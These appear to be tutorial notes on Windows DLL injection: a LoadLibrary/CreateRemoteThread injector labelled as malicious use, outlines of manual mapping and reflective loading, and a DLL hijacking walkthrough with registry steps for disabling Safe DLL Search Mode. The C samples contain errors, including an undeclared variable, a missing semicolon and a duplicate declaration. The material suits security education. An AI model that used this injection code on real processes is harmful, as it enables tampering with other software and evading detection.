# Intro
- `DLL injection` is a technique that involves inserting a piece of code, structured as a DLL, into a running process
- This technique allows the inserted code to run within the process's context, thereby influencing its behavior or accessing its resources
- `DLL injection` finds legitimate applications in various areas such as when SW devs `hot patch` an app
---
# Load Library
- `LoadLibrary` is a widely utilized method for DLL injection that loads the DLL into the target process's address space
- The `LoadLibrary` API is a function provided by Windows that loads a Dynamic DLL into the current process’s memory and returns a handle that can be used to get the addresses of functions within the DLL
- Below legitimate example shows how `LoadLibrary` can be used to load a DLL into the current process
```c
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary to load a DLL into the current process
HMODULE hModule = LoadLibrary("example.dll");
if (hModule == NULL) {
printf("Failed to load example.dll\n");
return -1;
}
printf("Successfully loaded example.dll\n");
return 0;
}
```
- Below example illustrates the use of `LoadLibrary` for maliciou spurposes
- This process involves allocating memory within the target process for the DLL path and then initiating a remote thread that begins at `LoadLibrary` and directs towards the DLL path
```c
#include <windows.h>
#include <stdio.h>
int main() {
// Using LoadLibrary for DLL injection
// First, we need to get a handle to the target process
DWORD targetProcessId = 123456 // The ID of the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
printf("Failed to open target process\n");
return -1;
}
// Next, we need to allocate memory in the target process for the DLL path
LPVOID dllPathAddressInRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (dllPathAddressInRemoteMemory == NULL) {
printf("Failed to allocate memory in target process\n");
return -1;
}
// Write the DLL path to the allocated memory in the target process
BOOL succeededWriting = WriteProcessMemory(hProcess, dllPathAddressInRemoteMemory, dllPath, strlen(dllPath), NULL);
if (!succeededWriting) {
printf("Failed to write DLL path to target process\n");
return -1;
}
// Get the address of LoadLibrary in kernel32.dll
LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (loadLibraryAddress == NULL) {
printf("Failed to get address of LoadLibraryA\n");
return -1;
}
// Create a remote thread in the target process that starts at LoadLibrary and points to the DLL path
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, dllPathAddressInRemoteMemory, 0, NULL);
if (hThread == NULL) {
printf("Failed to create remote thread in target process\n");
return -1;
}
printf("Successfully injected example.dll into target process\n");
return 0;
}
```
---
# Manual Mapping
- `Manual Mapping` is a complex and advanced DLL injection technique
- However, `manual mapping` avoids easy detection by not using the `LoadLibrary` function
- This involves manually loading a DLL into a process's memory, which resolves its imports and relocations
- Below is a simplified outline of this process:
1. Load the DLL as raw data into the injecting process.
2. Map the DLL sections into the targeted process.
3. Inject shellcode into the target process and execute it. This shellcode relocates the DLL, rectifies the imports, executes the Thread Local Storage (TLS) callbacks, and finally calls the DLL main.
---
# Reflective DLL Injection
- `Reflective DLL injection` is a technique that utilizes reflective programming to load a library from memory into a host process
- The library itself is responsible for its loading process by implementing a minimal Portable Executable (PE) file loader
- This allows the library to decide how it will load and interact with the host
---
# DLL Hijacking
- `DLL Hijacking` is an exploitation technique where an attacker capitalizes on the Windows DLL loading process
- These DLLs can be loaded during runtime, creating a hijacking opportunity if an app doesn't specify the full path to a required DLL
- The default DLL search order used by the system depends on whether `Safe DLL Search Mode` is activated
- When this feature is enabled (which is the default), Safe DLL Search Mode repositions the user's current directory further down in the search order
- However, it’s easy to either enable or disable the setting by editing the registry
## Enable/Disable `Safe DLL Search Mode`
1. Press `Windows key + R` to open the Run dialog box.
2. Type in `Regedit` and press `Enter`. This will open the Registry Editor.
3. Navigate to `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager`.
4. In the right pane, look for the `SafeDllSearchMode` value. If it does not exist, right-click the blank space of the folder or right-click the `Session Manager` folder, select `New` and then `DWORD (32-bit) Value`. Name this new value as `SafeDllSearchMode`.
5. Double-click `SafeDllSearchMode`. In the Value data field, enter `1` to enable and `0` to disable Safe DLL Search Mode.
6. Click `OK`, close the Registry Editor and Reboot the system for the changes to take effect.
## Search Order with `Safe DLL Search Mode` Enabled
1. The directory from which the application is loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
## Search Order with `Safe DLL Search Mode` Disabled
1. The directory from which the application is loaded.
2. The current directory.
3. The system directory.
4. The 16-bit system directory.
5. The Windows directory
6. The directories that are listed in the PATH environment variable
## DLL Hijacking Sequence
- After determining the status of `Safe DLL Search Mode`, DLL Hijacking involves a few more steps
- First, you need to pinpoint a DLL the target is attempting to locate
- Specific tools can simplify this task:
1. `Process Explorer`: Part of Microsoft's Sysinternals suite, this tool offers detailed information on running processes, including their loaded DLLs. By selecting a process and inspecting its properties, you can view its DLLs.
2. `PE Explorer`: This Portable Executable (PE) Explorer can open and examine a PE file (such as a .exe or .dll). Among other features, it reveals the DLLs from which the file imports functionality
- After we identify a target DLL, we need to determine which functions to modify
- This requires employing reverse engineering tools, such as disassemblers and debuggers
- Once the functions and their signatures have been identified, it's time to construct the DLL
- Below is an example that loads an `add` function from the `library.dll` and utilizes this function to add two numbers and then prints the result
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <windows.h>
typedef int (*AddFunc)(int, int);
int readIntegerInput()
{
int value;
char input[100];
bool isValid = false;
while (!isValid)
{
fgets(input, sizeof(input), stdin);
if (sscanf(input, "%d", &value) == 1)
{
isValid = true;
}
else
{
printf("Invalid input. Please enter an integer: ");
}
}
return value;
}
int main()
{
HMODULE hLibrary = LoadLibrary("library.dll");
if (hLibrary == NULL)
{
printf("Failed to load library.dll\n");
return 1;
}
AddFunc add = (AddFunc)GetProcAddress(hLibrary, "Add");
if (add == NULL)
{
printf("Failed to locate the 'Add' function\n");
FreeLibrary(hLibrary);
return 1;
}
HMODULE hLibrary = LoadLibrary("x.dll");
printf("Enter the first number: ");
int a = readIntegerInput();
printf("Enter the second number: ");
int b = readIntegerInput();
int result = add(a, b);
printf("The sum of %d and %d is %d\n", a, b, result);
FreeLibrary(hLibrary);
system("pause");
return 0;
}
```
- By examining the program in Process Monitor (procmon), we can observe the process of loading the `library.dll` located in the same directory
- Set up a filter in procmon to solely include `main.exe`, which is the process name of the program
- From this we can see a call to load `library.dll`
- Setup another filter for an `Operation` of `Load Image` to only get the libraries the app is loading
## Proxying
- We can utilize a method known as DLL Proxying to execute the DLL hijack
- We will create a new library that will load the function `Add` from `library.dll`, tamper with it, and then return it to `main.exe`
- Below are the next steps:
1. Create a new library: We will create a new library serving as the proxy for `library.dll`. This library will contain the necessary code to load the `Add` function from `library.dll` and perform the required tampering.
2. Load the `Add` function: Within the new library, we will load the `Add` function from the original `library.dll`. This will allow us to access the original function.
3. Tamper with the function: Once the `Add` function is loaded, we can then apply the desired tampering or modifications to its result. In this case, we are simply going to modify the result of the addition, to add `+ 1` to the result.
4. Return the modified function: After completing the tampering process, we will return the modified `Add` function from the new library back to `main.exe`. This will ensure that when `main.exe` calls the `Add` function, it will execute the modified version with the intended changes.
## Invalid Libraries
- Another option to execute a DLL Hijack attack is to replace a valid library the program is attempting to load but cannot find with a crafted library
- If we change the procmon filter to focus on entries whose path ends in `.dll` and has a status of `NAME NOT FOUND` we can find such libraries in `main.exe`